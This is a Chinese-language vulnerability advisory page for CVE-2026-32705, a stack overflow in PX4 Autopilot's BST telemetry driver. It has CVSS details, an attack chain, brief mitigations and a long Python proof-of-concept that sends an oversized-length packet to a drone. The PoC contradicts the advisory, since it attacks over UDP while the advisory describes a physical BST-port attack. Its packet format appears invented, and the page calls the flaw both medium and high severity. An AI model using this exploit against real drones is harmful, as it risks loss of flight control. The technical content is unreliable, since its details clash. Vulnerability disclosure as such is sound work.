IPBUF安全漏洞报告
English
CVE-2026-32705 CVSS 6.8 中危

PX4 autopilot BST telemetry栈溢出漏洞 (CVE-2026-32705)

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32705
漏洞类型
栈溢出
CVSS评分
6.8 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PX4 autopilot (PX4-Autopilot)

相关标签

栈溢出PX4 autopilotBST telemetry无人机安全物理攻击CVE-2026-32705缓冲区溢出飞行控制系统

漏洞概述

CVE-2026-32705是PX4自动驾驶仪项目中的一个高危安全漏洞。PX4 autopilot是一款广泛应用于无人机领域的开源飞行控制解决方案。该漏洞存在于BST遥测探针模块中,具体问题是在处理设备名称长度时,代码直接使用设备提供的长度值来写入字符串终止符,而没有进行任何边界检查。攻击者可以通过恶意构造的BST设备向无人机控制系统发送超长的dev_name_len参数,触发栈缓冲区溢出。这不仅会导致飞行控制任务崩溃,还可能被攻击者利用来执行任意代码,从而完全接管无人机的控制权。由于攻击向量为物理接触,攻击者需要直接访问无人机的BST遥测接口。该漏洞已在1.17.0-rc2版本中修复。

技术细节

该漏洞的根本原因在于BST遥测探针驱动程序在处理来自外部设备的数据时缺乏输入验证。在PX4-Autopilot的BST驱动代码中,当接收到BST设备的设备名称时,程序使用设备提供的dev_name_len值来定位字符串终止符的写入位置。由于没有对该长度值进行上限检查,当恶意设备报告一个超大的dev_name_len时,驱动程序会将数据写入栈上的越界地址,导致栈溢出。攻击者利用这一漏洞可以覆盖栈上的返回地址和关键函数指针,从而控制程序执行流程。在无人机系统中,这种漏洞尤其危险,因为攻击者可能通过物理接触无人机的遥测端口来实施攻击,最终导致无人机失控或被恶意操控。修复方案是在使用设备提供的长度值之前添加严格的边界检查,确保写入操作不会超出预期缓冲区范围。

攻击链分析

STEP 1
步骤1
攻击者物理接触无人机的BST遥测接口,获取直接连接的机会
STEP 2
步骤2
攻击者部署恶意BST设备或使用伪造设备连接到无人机的BST端口
STEP 3
步骤3
恶意设备向PX4 BST遥测驱动发送精心构造的BST消息包,其中dev_name_len字段被设置为超大的恶意值(如0xFFFF)
STEP 4
步骤4
PX4驱动程序接收到恶意数据包后,直接使用设备提供的dev_name_len值进行内存操作,没有进行边界检查
STEP 5
步骤5
驱动程序尝试在栈上写入字符串终止符,由于dev_name_len超大,写入操作超出栈缓冲区边界,导致栈溢出
STEP 6
步骤6
攻击者利用栈溢出覆盖返回地址和关键函数指针,控制程序执行流程
STEP 7
步骤7
攻击成功后在无人机上执行任意代码,可能导致无人机失控、敏感数据泄露或被恶意操控

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2026-32705 PoC - Malicious BST Device Simulation # This PoC demonstrates how a malicious BST device can trigger stack overflow # in PX4 autopilot's BST telemetry driver import struct import socket import time def create_malicious_bst_packet(): """ Create a malicious BST packet with oversized dev_name_len to trigger stack overflow in PX4 BST telemetry driver """ # BST message header bst_magic = 0x424C # 'BL' magic bytes msg_type = 0x0001 # Device info message type # Malicious oversized dev_name_len # This will cause stack overflow when driver writes string terminator malicious_dev_name_len = 0xFFFF # Oversized length without bounds check # Build malicious BST packet packet = struct.pack('<HH', bst_magic, msg_type) packet += struct.pack('<H', malicious_dev_name_len) # Add oversized device name data overflow_data = b'A' * malicious_dev_name_len packet += overflow_data return packet def exploit_px4_bst_telemetry(target_ip='192.168.1.100', target_port=14556): """ Send malicious BST packet to trigger CVE-2026-32705 Args: target_ip: IP address of the PX4-enabled drone target_port: BST telemetry port (default MAVLink port) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) malicious_packet = create_malicious_bst_packet() print(f"[*] Sending malicious BST packet to {target_ip}:{target_port}") print(f"[*] Packet size: {len(malicious_packet)} bytes") print(f"[*] Malicious dev_name_len: 0xFFFF") sock.sendto(malicious_packet, (target_ip, target_port)) print("[+] Malicious packet sent successfully") print("[!] Target PX4 BST driver may have crashed or been exploited") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def simulate_bst_device(): """ Simulate a malicious BST device that can be connected to drone's BST port This represents the physical attack vector (AV:P) """ print("=" * 60) print("CVE-2026-32705 - PX4 BST Telemetry Stack Overflow PoC") print("=" * 60) print("\n[*] Attack Vector: Physical access to BST telemetry port") print("[*] Target: PX4 autopilot < 1.17.0-rc2") print("[*] Vulnerability: Stack overflow via oversized dev_name_len") print("\n[!] This PoC is for educational and authorized testing purposes only") print("\n[*] Simulating malicious BST device...") # Generate the malicious packet packet = create_malicious_bst_packet() print(f"[+] Generated malicious BST packet") print(f" - Magic: 0x424C") print(f" - Message Type: 0x0001 (Device Info)") print(f" - dev_name_len: 0xFFFF (malicious oversized value)") print(f" - Total packet size: {len(packet)} bytes") print("\n[*] When received by vulnerable PX4 BST driver:") print(" 1. Driver reads dev_name_len = 0xFFFF") print(" 2. Driver writes string terminator at stack offset 0xFFFF") print(" 3. Stack buffer overflow occurs") print(" 4. Return address / function pointers can be overwritten") print(" 5. Arbitrary code execution possible") return packet if __name__ == "__main__": simulate_bst_device() # Uncomment to actually send the packet: # exploit_px4_bst_telemetry('DRONE_IP', 14556)

影响范围

PX4-Autopilot < 1.17.0-rc2

防御指南

临时缓解措施
由于该漏洞需要物理接触BST遥测端口才能利用,建议在无人机飞行期间加强对物理接口的安全防护,避免未经授权的设备连接。同时,在非飞行状态下应妥善保管无人机,防止攻击者接触其接口。临时措施包括监控BST端口的异常流量,并在检测到异常长度的数据包时触发安全告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表